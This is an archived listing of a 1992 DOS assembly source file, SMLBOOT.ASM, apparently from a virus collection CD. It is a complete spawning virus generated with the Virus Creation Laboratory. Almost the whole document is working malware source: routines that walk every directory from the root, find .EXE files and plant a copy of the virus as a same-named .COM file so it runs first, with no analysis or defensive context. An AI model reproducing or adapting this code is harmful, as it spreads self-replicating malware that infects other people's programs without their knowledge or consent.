home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SMLBOOT.ASM < prev    next >
Assembly Source File  |  1992-08-19  |  7KB  |  256 lines

  1. ; SMLBOOT.ASM -- Small Booter Virus
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Virucidal Maniac
  4.  
  5. virus_type    equ    2            ; Spawning Virus
  6. is_encrypted    equ    0            ; We're not encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. start        label    near
  14.  
  15. main        proc    near
  16.  
  17.         mov    ah,04Ah         ; DOS resize memory function
  18.         mov    bx,(finish - start) / 16 + 0272h  ; BX holds # of para.
  19.         int    021h
  20.  
  21.         mov    sp,(finish - start) + 01100h  ; Change top of stack
  22.  
  23.         mov    si,offset spawn_name    ; SI points to true filename
  24.         int    02Eh            ; DOS execution back-door
  25.         push    ax            ; Save return value for later
  26.  
  27.         mov    ax,cs            ; AX holds code segment
  28.         mov    ds,ax            ; Restore data segment
  29.         mov    es,ax            ; Restore extra segment
  30.  
  31.         call    search_files        ; Find and infect a file
  32.  
  33.         call    get_floppies
  34.         cmp    ax,0002h        ; Did the function return 2?
  35.         jl    strt00            ; If less, do effect
  36.         call    get_serial
  37.         cmp    ax,0002h        ; Did the function return 2?
  38.         je    strt00            ; If equal, do effect
  39.         jmp    end00            ; Otherwise skip over it
  40. strt00:
  41.         push    bp            ; Save BP
  42.         mov    bp,sp            ; BP points to stack frame
  43.         sub    sp,34            ; Allocate 34 bytes on stack
  44.  
  45.         mov    ah,038h         ; DOS get country function
  46.         lea    dx,[bp - 34]        ; DX points to unused buffer
  47.         int    021h
  48.  
  49.         xchg    bx,ax            ; AX holds the country code
  50.  
  51.         mov    sp,bp            ; Deallocate local buffer
  52.         pop    bp            ; Restore BP
  53.  
  54. end00:        pop    ax            ; AL holds return value
  55.         mov    ah,04Ch         ; DOS terminate function
  56.         int    021h
  57. main        endp
  58.  
  59. search_files    proc    near
  60.         push    bp            ; Save BP
  61.         mov    bp,sp            ; BP points to local buffer
  62.         sub    sp,64            ; Allocate 64 bytes on stack
  63.  
  64.         mov    ah,047h         ; DOS get current dir function
  65.         xor    dl,dl            ; DL holds drive # (current)
  66.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  67.         int    021h
  68.  
  69.         mov    ah,03Bh         ; DOS change directory function
  70.         mov    dx,offset root        ; DX points to root directory
  71.         int    021h
  72.  
  73.         call    traverse        ; Start the traversal
  74.  
  75.         mov    ah,03Bh         ; DOS change directory function
  76.         lea    dx,[bp - 64]        ; DX points to old directory
  77.         int    021h
  78.  
  79.         mov    sp,bp            ; Restore old stack pointer
  80.         pop    bp            ; Restore BP
  81.         ret                ; Return to caller
  82.  
  83. root        db    "\",0            ; Root directory
  84. search_files    endp
  85.  
  86. traverse    proc    near
  87.         push    bp            ; Save BP
  88.  
  89.         mov    ah,02Fh         ; DOS get DTA function
  90.         int    021h
  91.         push    bx            ; Save old DTA address
  92.  
  93.         mov    bp,sp            ; BP points to local buffer
  94.         sub    sp,128            ; Allocate 128 bytes on stack
  95.  
  96.         mov    ah,01Ah         ; DOS set DTA function
  97.         lea    dx,[bp - 128]        ; DX points to buffer
  98.         int    021h
  99.  
  100.         mov    ah,04Eh         ; DOS find first function
  101.         mov    cx,00010000b        ; CX holds search attributes
  102.         mov    dx,offset all_files    ; DX points to "*.*"
  103.         int    021h
  104.         jc    leave_traverse        ; Leave if no files present
  105.  
  106. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  107.         jne    another_dir        ; If not, try again
  108.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  109.         je    another_dir        ;If so, keep going
  110.  
  111.         mov    ah,03Bh         ; DOS change directory function
  112.         lea    dx,[bp - 98]        ; DX points to new directory
  113.         int    021h
  114.  
  115.         call    traverse        ; Recursively call ourself
  116.  
  117.         pushf                ; Save the flags
  118.         mov    ah,03Bh         ; DOS change directory function
  119.         mov    dx,offset up_dir    ; DX points to parent directory
  120.         int    021h
  121.         popf                ; Restore the flags
  122.  
  123.         jnc    done_searching        ; If we infected then exit
  124.  
  125. another_dir:    mov    ah,04Fh         ; DOS find next function
  126.         int    021h
  127.         jnc    check_dir        ; If found check the file
  128.  
  129. leave_traverse:
  130.         mov    dx,offset exe_mask    ; DX points to "*.EXE"
  131.         call    find_files        ; Try to infect a file
  132. done_searching: mov    sp,bp            ; Restore old stack frame
  133.         mov    ah,01Ah         ; DOS set DTA function
  134.         pop    dx            ; Retrieve old DTA address
  135.         int    021h
  136.  
  137.         pop    bp            ; Restore BP
  138.         ret                ; Return to caller
  139.  
  140. up_dir        db    "..",0            ; Parent directory name
  141. all_files    db    "*.*",0         ; Directories to search for
  142. exe_mask    db    "*.EXE",0        ; Mask for all .EXE files
  143. traverse    endp
  144.  
  145. find_files    proc    near
  146.         push    bp            ; Save BP
  147.  
  148.         mov    ah,02Fh         ; DOS get DTA function
  149.         int    021h
  150.         push    bx            ; Save old DTA address
  151.  
  152.         mov    bp,sp            ; BP points to local buffer
  153.         sub    sp,128            ; Allocate 128 bytes on stack
  154.  
  155.         push    dx            ; Save file mask
  156.         mov    ah,01Ah         ; DOS set DTA function
  157.         lea    dx,[bp - 128]        ; DX points to buffer
  158.         int    021h
  159.  
  160.         mov    ah,04Eh         ; DOS find first file function
  161.         mov    cx,00100111b        ; CX holds all file attributes
  162.         pop    dx            ; Restore file mask
  163. find_a_file:    int    021h
  164.         jc    done_finding        ; Exit if no files found
  165.         call    infect_file        ; Infect the file!
  166.         jnc    done_finding        ; Exit if no error
  167.         mov    ah,04Fh         ; DOS find next file function
  168.         jmp    short find_a_file    ; Try finding another file
  169.  
  170. done_finding:    mov    sp,bp            ; Restore old stack frame
  171.         mov    ah,01Ah         ; DOS set DTA function
  172.         pop    dx            ; Retrieve old DTA address
  173.         int    021h
  174.  
  175.         pop    bp            ; Restore BP
  176.         ret                ; Return to caller
  177. find_files    endp
  178.  
  179. infect_file    proc    near
  180.         mov    ah,02Fh         ; DOS get DTA address function
  181.         int    021h
  182.         mov    di,bx            ; DI points to the DTA
  183.  
  184.         lea    si,[di + 01Eh]        ; SI points to file name
  185.         mov    dx,si            ; DX points to file name, too
  186.         mov    di,offset spawn_name + 1; DI points to new name
  187.         xor    ah,ah            ; AH holds character count
  188. transfer_loop:    lodsb                ; Load a character
  189.         or    al,al            ; Is it a NULL?
  190.         je    transfer_end        ; If so then leave the loop
  191.         inc    ah            ; Add one to the character count
  192.         stosb                ; Save the byte in the buffer
  193.         jmp    short transfer_loop    ; Repeat the loop
  194. transfer_end:    mov    byte ptr [spawn_name],ah; First byte holds char. count
  195.         mov    byte ptr [di],13    ; Make CR the final character
  196.  
  197.         mov    di,dx            ; DI points to file name
  198.         xor    ch,ch            ;
  199.         mov    cl,ah            ; CX holds length of filename
  200.         mov    al,'.'            ; AL holds char. to search for
  201.     repne    scasb                ; Search for a dot in the name
  202.         mov    word ptr [di],'OC'    ; Store "CO" as first two bytes
  203.         mov    byte ptr [di + 2],'M'    ; Store "M" to make "COM"
  204.  
  205.         mov    byte ptr [set_carry],0    ; Assume we'll fail
  206.         mov    ax,03D00h        ; DOS open file function, r/o
  207.         int    021h
  208.         jnc    infection_done        ; File already exists, so leave
  209.         mov    byte ptr [set_carry],1    ; Success -- the file is OK
  210.  
  211.         mov    ah,03Ch         ; DOS create file function
  212.         mov    cx,00100111b        ; CX holds file attributes (all)
  213.         int    021h
  214.         xchg    bx,ax            ; BX holds file handle
  215.  
  216.         mov    ah,040h         ; DOS write to file function
  217.         mov    cx,finish - start    ; CX holds virus length
  218.         mov    dx,offset start     ; DX points to start of virus
  219.         int    021h
  220.  
  221.         mov    ah,03Eh         ; DOS close file function
  222.         int    021h
  223.  
  224. infection_done: cmp    byte ptr [set_carry],1    ; Set carry flag if failed
  225.         ret                ; Return to caller
  226.  
  227. spawn_name    db    12,12 dup (?),13    ; Name for next spawn
  228. set_carry    db    ?            ; Set-carry-on-exit flag
  229. infect_file    endp
  230.  
  231.  
  232. get_floppies    proc    near
  233.         int    011h            ; BIOS get equiment function
  234.         xor    ah,ah            ; Clear upper bits
  235.         mov    cl,6            ; Shift AX right six bits,
  236.         shr    ax,cl            ; dividing it by 64
  237.         inc    ax            ; Add one (at least 1 drive)
  238.         ret                ; Return to caller
  239. get_floppies    endp
  240.  
  241. get_serial    proc    near
  242.         int    011h            ; BIOS get equiment function
  243.         xor    ah,ah            ; Clear upper bits
  244.         mov    cl,9            ; Shift AX right nine bits
  245.         shr    ax,cl            ;
  246.         and    ax,7            ; Clear all but two bits
  247.         ret                ; Return to caller
  248. get_serial    endp
  249.  
  250. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  251.  
  252. finish        label    near
  253.  
  254. code        ends
  255.         end    main
  256.